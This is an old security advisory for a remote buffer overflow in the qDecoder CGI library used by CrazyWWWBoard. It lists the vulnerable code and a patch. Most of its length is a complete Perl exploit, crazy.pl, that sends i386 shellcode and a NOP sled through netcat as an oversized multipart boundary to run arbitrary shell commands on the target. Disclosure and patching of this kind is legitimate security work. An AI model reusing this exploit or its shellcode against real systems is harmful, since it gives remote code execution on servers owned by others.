Nobreak Tecnologies CrazyWWWBoard Remote Buffer Overflow Vulnerability Jin Ho You, [EMAIL PROTECTED] 1 Discussion CrazyWWWBoard(http://www.crazywwwboard.com) is a web bulletin board program written in C/C++. Insufficient boundary checking exists in the qDecoder CGI library code which handles multipart/form-data MIME entities. You can get qDecoder from http://www.qdecoder.org. The boundary delimeter over 254 characters declared in the Content-Type header line overruns it's buffer, and allows remote buffer overflow attack. There are other CGI programs using the vulnerable qDecoder, such as CrazySearch. They have the string "_parse_multipart_data" in the excution program. 2 Vulnerable and not vulnerable versions - Vulnerable CrazyWWWBoard version 2000px, 2000LEpx, 98, 98PE, 3.0.1 CrazySearch 1.0.1 CGIs using qDecoder 4.0 ~ 5.0.8 - Not Vulnerable CrazyWWWBoard2000LEp5-1 You can download bug-fixed Light Edition version from ftp://ftp.nobreak.com/pub/SOTNAL/CrazyWWWBoard2000LEp5-1/ Recently distributed CrazyWWWBoard 2000 (SOTNAL v1.5.x) should be bug fixed. 3 Bug and Fix Following codes in qDecoder.c of v4.0 ~ 5.0.8 shows the buffer overflow bug. sprintf() can make the buffer 'boundary' overflow. qDecoder of C++ version used in some CrazyWWW2000 series should have the same bug. int _parse_multipart_data(void) { ... char boundary[0xff], boundaryEOF[0xff]; ... sprintf(boundary, "--%s", strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary=")); ... } Following patch forces boundary checking to fix the problem. If you have the source program of CrazyWWWBoard 3.0.1 or CrazyWWWBoard 98PE, the following patch is required. qDecoder library must be upgrade to 6.x version. --- qDecoder-4.0/qDecoder.c.orig Tue Nov 4 09:09:16 1997 +++ qDecoder-4.0/qDecoder.c Thu Mar 30 20:08:29 2000 @@ -180,10 +180,17 @@ int c, c_count;^M ^M int finish;^M + int boundary_len;^M ^M entries = back = NULL;^M ^M /* find boundary string */^M +^M + /* force to check the boundary string length */^M + boundary_len = strlen(strstr(getenv("CONTENT_TYPE"), "boundary=") + +strlen("boundary"));^M + if (boundary_len >= sizeof(boundary) - strlen("\r\n----"))^M + qError("_parse_multipart_data() : the boundary string is too long!.");^M +^M sprintf(boundary, "--%s", strstr(getenv("CONTENT_TYPE"), "boundary=") + strlen("boundary="));^M /* This is not necessary but, I can not trust MS Explore */^M qRemoveSpace(boundary);^M 4 Exploit ---- crazy.pl begin ------------>>> cut here <<<------------------------------- #!/usr/bin/perl # crazy.pl # # CrazyWWWBoard.cgi Remote Buffer Overflow Exploit for i386 Linux # # CGIs using qDecoder 4.0~5.0.8 are vulnerable to boundary delimeter # over 254 characters in the header "Content-Type: multipart/form-data". # # nc, the netcat program is required. # # Programmed by Jin Ho You, [EMAIL PROTECTED], 03/26/2000 $nc_path = "nc"; # path of netcat program $usage = "usage: crazy.pl [options] CGI-URL\n CGI-URL URL of the target CGI -c command Bourne shell command Default: '/bin/echo 00ps, Crazy!' -o offset Offset of the egg shell code, Recommended [-300,+300] example) crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \\ target.com/cgi-bin/vulnerable.cgi "; require 'getopt.pl'; Getopt('oc'); if ($#ARGV < 0) { print $usage; exit(0); }; $cgiurl = $ARGV[0]; $command = $opt_c ? $opt_c : "/bin/echo 00ps, Crazy!"; $offset = $opt_o ? $opt_o : 0; $cgiurl =~ s/http:\/\///; ($host, $cgiuri) = split(/\//, $cgiurl, 2); ($host, $port) = split(/:/, $host); $port = 80 unless $port; $command = "/bin/echo Content-Type: text/html;/bin/echo;($command)"; $cmdlen = length($command); $argvp = int((0x0b + $cmdlen) / 4) * 4 + 4; $shellcode = "\xeb\x37" # jmp 0x37 . "\x5e" # popl %esi . "\x89\x76" . pack(C, $argvp) # movl %esi,0xb(%esi) . "\x89\xf0" # movl %esi,%eax . "\x83\xc0\x08" # addl $0x8,%eax . "\x89\x46" . pack(C, $argvp + 4) # movl %eax,0xb(%esi) . "\x89\xf0" # movl %esi,%eax . "\x83\xc0\x0b" # addl $0xb,%eax . "\x89\x46" . pack(C, $argvp + 8) # movl %eax,0xb(%esi) . "\x31\xc0" # xorl %eax,%eax . "\x88\x46\x07" # movb %eax,0x7(%esi) . "\x4e" # dec %esi . "\x88\x46\x0b" # movb %eax,0xb(%esi) . "\x46" # inc %esi . "\x88\x46" . pack(C, 0x0b + $cmdlen) # movb %eax,0xb(%esi) . "\x89\x46" . pack(C, $argvp + 12) # movl %eax,0xb(%esi) . "\xb0\x0b" # movb $0xb,%al . "\x89\xf3" # movl %esi,%ebx . "\x8d\x4e" . pack(C, $argvp) # leal 0xb(%esi),%ecx . "\x8d\x56" . pack(C, $argvp + 12) # leal 0xb(%esi),%edx . "\xcd\x80" # int 0x80 . "\x31\xdb" # xorl %ebx,%ebx . "\x89\xd8" # movl %ebx,%eax . "\x40" # inc %eax . "\xcd\x80" # int 0x80 . "\xe8\xc4\xff\xff\xff" # call -0x3c . "/bin/sh0-c0" # .string "/bin/sh0-c0" . $command; $offset -= length($command) / 2 + length($host . $port , $cgiurl); $shelladdr = 0xbffffbd0 + $offset; $noplen = 242 - length($shellcode); $jump = $shelladdr + $noplen / 2; $entries = $shelladdr + 250; $egg = "\x90" x $noplen . $shellcode . pack(V, $jump) x 9 . pack(V, $entries) x 2 . pack(V, $jump) x 2; $content = substr($egg, 254) . "--\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n0\r\n--$egg--\r\n"; $contentlength = length($content); printf STDERR "Jump to 0x%x\n", $jump; open(HTTP, "|$nc_path $host $port"); select(HTTP); $|= 1; print HTTP <<__HEADER__; POST /$cgiuri HTTP/1.0 Connection: Keep-Alive User-Agent: Mozilla/4.72 [ko] (X11; I; Linux 2.2.14 i686) Host: $host:$port Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* Accept-Encoding: gzip Accept-Language: ko Accept-Charset: euc-kr,*,utf-8 Content-type: multipart/form-data; boundary=$egg Content-length: $contentlength $content __HEADER__ close(HTTP); ---- crazy.pl end ------------>>> cut here <<<-------------------------------